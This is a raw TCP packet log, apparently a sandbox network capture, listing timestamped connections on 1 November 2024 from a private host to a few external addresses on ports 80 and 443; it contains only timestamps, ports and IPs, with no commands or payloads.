Nov 1, 2024 12:35:04.212177992 CET	50050	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.212485075 CET	50052	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.217398882 CET	80	50052	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.217484951 CET	50052	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.217784882 CET	50052	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.219492912 CET	80	50050	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.219542027 CET	50050	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.222698927 CET	80	50052	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286482096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286498070 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286510944 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286566019 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286577940 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286588907 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286602020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286622047 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286622047 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286622047 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286622047 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286636114 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286644936 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286802053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286814928 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286842108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286850929 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286854982 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286861897 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286869049 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286880970 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286885977 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286895037 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286906958 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286916971 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.286921978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.286945105 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.287030935 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.287234068 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287246943 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287259102 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287271023 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287276030 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.287282944 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287288904 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287293911 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.287293911 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287302017 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287307978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287324905 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287399054 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.287626982 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287640095 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287652969 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287663937 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287676096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287678957 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.287688971 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.287689924 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287724972 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.287751913 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.287898064 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.287940979 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288072109 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288085938 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288122892 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288135052 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288180113 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288192987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288204908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288214922 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288216114 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288227081 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288228989 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288249969 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288276911 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288480043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288494110 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288506031 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288520098 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288521051 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288530111 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288533926 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288546085 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288554907 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288558960 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288573980 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288574934 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288598061 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288619995 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.288866043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.288934946 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.330478907 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.330492020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.330504894 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.330516100 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.330579996 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.330579996 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.575336933 CET	443	50051	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:04.575440884 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:04.582055092 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:04.582070112 CET	443	50051	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:04.582357883 CET	443	50051	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:04.584070921 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:04.584858894 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:04.584888935 CET	443	50051	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:04.585222960 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:04.585232019 CET	443	50051	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:05.134069920 CET	80	50052	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:05.134159088 CET	50052	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:05.176589966 CET	50052	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:05.182470083 CET	80	50052	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:05.231770039 CET	443	50051	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:05.231875896 CET	443	50051	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:05.231945992 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:05.233587027 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:05.233602047 CET	443	50051	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:05.474690914 CET	80	50052	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:05.474759102 CET	50052	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:05.589198112 CET	50052	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:05.589891911 CET	50053	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:05.598107100 CET	80	50053	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:05.598167896 CET	50053	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:05.598411083 CET	50053	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:05.605982065 CET	80	50052	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:05.606089115 CET	50052	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:05.607805967 CET	80	50053	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:06.512887001 CET	80	50053	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:06.513016939 CET	50053	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:06.517002106 CET	50053	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:06.523156881 CET	80	50053	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:06.660701036 CET	50039	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:35:06.661037922 CET	50054	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:35:06.666091919 CET	80	50039	185.215.113.43	192.168.2.7
Nov 1, 2024 12:35:06.666157007 CET	50039	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:35:06.666229010 CET	80	50054	185.215.113.43	192.168.2.7
Nov 1, 2024 12:35:06.666667938 CET	50054	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:35:06.667870045 CET	50055	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:06.667900085 CET	443	50055	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:06.668097019 CET	50054	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:35:06.668127060 CET	50055	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:06.668450117 CET	50055	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:06.668462992 CET	443	50055	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:06.673815012 CET	80	50054	185.215.113.43	192.168.2.7
Nov 1, 2024 12:35:06.802512884 CET	80	50053	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:06.803195000 CET	50053	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:06.914889097 CET	50053	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:06.915795088 CET	50056	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:06.920171022 CET	80	50053	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:06.920228004 CET	50053	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:06.921669960 CET	80	50056	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:06.921988964 CET	50056	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:06.922127962 CET	50056	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:06.927239895 CET	80	50056	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:07.288803101 CET	443	50055	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:07.288866043 CET	50055	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:07.334415913 CET	50055	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:07.334429979 CET	443	50055	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:07.334676981 CET	443	50055	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:07.342184067 CET	50055	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:07.342339039 CET	50055	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:07.342343092 CET	443	50055	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:07.603583097 CET	80	50054	185.215.113.43	192.168.2.7
Nov 1, 2024 12:35:07.603645086 CET	50054	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:35:07.773462057 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.773961067 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.918756962 CET	80	50056	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:07.918828011 CET	50056	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.918950081 CET	443	50055	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:07.919043064 CET	443	50055	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:07.919087887 CET	50055	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:07.919606924 CET	50055	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:07.919619083 CET	443	50055	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:07.919641018 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:07.919719934 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.920815945 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.922144890 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:07.922209978 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.922588110 CET	50056	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.922875881 CET	50058	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.936284065 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:07.936296940 CET	80	50058	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:07.936306000 CET	80	50056	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:07.936357021 CET	50058	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.936384916 CET	50056	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.936613083 CET	50058	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:07.948987961 CET	80	50058	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.624682903 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:08.624728918 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:08.624816895 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:08.625641108 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:08.625653028 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:08.828533888 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828577995 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828681946 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.828716993 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828727961 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828738928 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828749895 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828762054 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.828783035 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.828926086 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828937054 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828948021 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828959942 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.828959942 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.828975916 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.829001904 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.835108042 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.837122917 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.837197065 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.877023935 CET	80	50058	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.877079964 CET	50058	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.991317034 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.991333008 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.991347075 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.991493940 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.991580009 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.991709948 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.991722107 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.991740942 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.991755962 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.991934061 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.991955996 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.991975069 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.992000103 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.992002010 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.992036104 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.992621899 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.992634058 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.992645025 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.992671967 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.992702961 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.993509054 CET	50058	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.993797064 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.993808985 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.993824005 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.993834972 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.993840933 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.993853092 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.993895054 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.993918896 CET	50060	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.995001078 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.995012999 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.995028973 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.995038986 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.995050907 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.995064974 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.995090008 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:08.998481035 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.998492002 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:08.998550892 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.000904083 CET	80	50058	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.001095057 CET	80	50060	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.001174927 CET	50058	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.001204014 CET	50060	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.001379967 CET	50060	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.009870052 CET	80	50060	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.034121990 CET	50060	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.039918900 CET	50061	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.044821024 CET	80	50061	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.044987917 CET	50061	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.045104980 CET	50061	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.050781965 CET	80	50061	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.140490055 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.140518904 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.140532017 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.140548944 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.140556097 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.140568018 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.140569925 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.140592098 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.140615940 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.140711069 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.140727043 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.140748024 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.140757084 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141391039 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141406059 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141428947 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141447067 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141457081 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141477108 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141480923 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141491890 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141494989 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141510010 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141511917 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141529083 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141535997 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141547918 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141551971 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141566038 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141567945 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141581059 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141582012 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141597033 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.141598940 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141618967 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.141633034 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142255068 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142271042 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142287016 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142292023 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142306089 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142321110 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142474890 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142489910 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142505884 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142524958 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142549038 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142704964 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142719984 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142735958 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142755985 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142781973 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142860889 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142875910 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142890930 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142905951 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142915010 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142927885 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.142929077 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.142959118 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.143591881 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.143606901 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.143623114 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.143657923 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.143759966 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.143774033 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.143790007 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.143795967 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.143805981 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.143820047 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.143841982 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.144026041 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.144491911 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.144515038 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.144530058 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.144531965 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.144557953 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.144579887 CET	50057	80	192.168.2.7	185.215.113.16
